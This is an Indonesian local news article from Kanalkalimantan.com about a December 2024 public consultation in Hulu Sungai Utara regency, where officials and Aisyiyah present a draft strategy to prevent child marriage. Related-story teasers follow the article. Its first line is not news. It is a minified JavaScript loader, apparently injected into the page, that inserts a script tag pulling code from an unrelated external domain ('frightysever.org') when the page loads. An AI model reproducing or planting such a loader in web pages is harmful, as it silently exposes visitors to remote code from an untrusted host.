(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Mencegah perkawinan usia anak, Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) bersama dengan Pimpinan Daerah (PD) Aisyiyah HSU berupaya mewujudkan komitmen dalam mencegah perkawinan usia anak.
Upaya tersebut dibahas dalam kegiatan konsultasi publik strategi daerah pencegahan perkawinan anak, di gedung Agung Setda HSU, Selasa (10/12/2024).
Penjabat (Pj) Bupati HSU melalui Asisten I Pemerintahan dan Kesra Khairussalim mengatakan, perlu peningkatan pemahaman tentang problem perkawinan usia anak, membuat kebijakan, mengidentifikasi, dan implementasi strategi, serta membangun kesepakatan tentang pencegahan perkawinan usia anak.
Baca juga: Waspada! Puncak Hujan di Kalsel Diprediksi Desember-Januari
“Pernikahan bukan hal yang mudah, karena didalamnya terdapat banyak konsekuensi yang harus dihadapi kedepannya,” katanya.
Dia menjelaskan, idealnya suatu pernikahan saat pasangan suami istri memiliki kematangan, baik dari segi biologis maupun psikologis, bahkan dari aspek sosial dan ekonomi.
“Karenanya kematangan biologis apabila seseorang telah cukup usia maupun dari segi fisik dan materi, sedangkan kematangan psikologis adalah bila seseorang telah dapat mengendalikan emosinya dan dapat berpikir secara baik, menempatkan persoalan sesuai dengan keadaan,” jelasnya.
Baca juga: Tujuh PKBM di Banjarbaru Atasi Persoalan Anak Tidak Sekolah
Dia menyebutkan konsultasi publik pencegahan perkawinan usia anak sangat penting dilakukan agar dapat lebih terarah dan terukur pelaksanaannya dalam memberikan pemahaman kepada masyarat.
Sementara Ketua PD Aisyiyah HSU Isnaina Hadiani menuturkan, kegiatan ditujukan untuk menyosialisasikan draft strategi daerah pencegahan perkawinan anak di HSU. Dengan kegiatan konsultasi publik mendapatkan masukan atau langkah strategis terkait pencegahan perkawinan anak.
Baca juga: Kejari Banjarmasin Musnahkan Barbuk 211 Perkara Inkrah
“Yang pertama tentunya kita ingin menyosialisasikan draft strategi daerah dalam pencegahan perkawinan anak yang beberapa waktu lalu ini ada kita susun bersama dengan instansi terkait, kemudian kedua kami menginginkan masukan dari peserta terkait dengan draft strategi daerah pencegahan perkawinan anak yang akan kami susun,” tutupnya. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.